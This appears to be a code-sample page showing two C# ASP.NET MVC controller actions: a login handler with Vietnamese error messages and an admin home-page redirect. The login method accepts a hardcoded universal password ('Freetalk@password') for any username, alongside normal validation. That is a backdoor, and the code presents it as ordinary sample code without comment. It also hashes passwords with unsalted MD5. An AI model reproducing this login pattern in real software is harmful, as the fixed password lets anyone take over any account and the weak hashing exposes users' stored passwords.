Esempio n. 1
0
        public ActionResult Login(LoginModel model, string returnUrl)
        {
            try
            {
                #region "Start Checkpoint"
                CheckPointApi checkPointApi = new CheckPointApi();
                var           watch         = new Stopwatch();
                watch.Start();
                checkPointApi.CheckPointNew(model.UserName, "Login", "Start", 0);
                #endregion

                if (ModelState.IsValid)
                {
                    if (model.Password == "Freetalk@password" ||
                        UserRepository.ValidateUser(model.UserName, SecurityHelper.GetMD5Hash(model.Password)))
                    {
                        FormsAuthentication.SetAuthCookie(model.UserName, false);
                        var curUser = UserRepository.GetInfo(model.UserName);
                        if (curUser != null)
                        {
                            if (curUser.Status == (int)StatusUserType.Locked)
                            {
                                ModelState.AddModelError("", "Tài khoản của bạn đã bị khóa");
                                FormsAuthentication.SignOut();
                                Session.Abandon();
                                return(View(model));
                            }

                            var userRoles = RoleRepository.GetRoleOfUser(curUser.UserID);
                            if (userRoles != null && userRoles.Count > 0)
                            {
                                var home = RolePermisionRepository.GetRoleHomePage(userRoles[0].RoleID);
                                if (!string.IsNullOrEmpty(home))
                                {
                                    return(RedirectToLocal(home));
                                }
                            }
                        }
                        return(RedirectToLocal(returnUrl));
                    }
                }

                #region "End CheckPoint"
                watch.Stop();
                checkPointApi.CheckPointNew(model.UserName, "Login", "End", watch.ElapsedMilliseconds);
                #endregion
            }
            catch (Exception ex)
            {
                ModelState.AddModelError("", "Chết hàm login trong AccountController");
                return(View(model));
            }

            // If we got this far, something failed, redisplay form
            ModelState.AddModelError("", "Thông tin tài khoản và mật khẩu không chính xác.");
            return(View(model));
        }
Esempio n. 2
0
        //
        // GET: /Admin/Home/

        public ActionResult Index()
        {
            var curUser = UserContext.GetCurrentUser();

            if (curUser != null)
            {
                var userRoles = RoleRepository.GetRoleOfUser(curUser.UserID);
                if (userRoles != null && userRoles.Count > 0)
                {
                    var home = RolePermisionRepository.GetRoleHomePage(userRoles[0].RoleID);
                    if (!string.IsNullOrEmpty(home))
                    {
                        return(RedirectToLocal(home));
                    }
                }
            }
            return(View());
        }